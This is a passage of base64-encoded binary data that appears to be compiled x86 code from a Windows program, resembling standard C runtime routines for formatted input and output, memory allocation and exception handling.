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 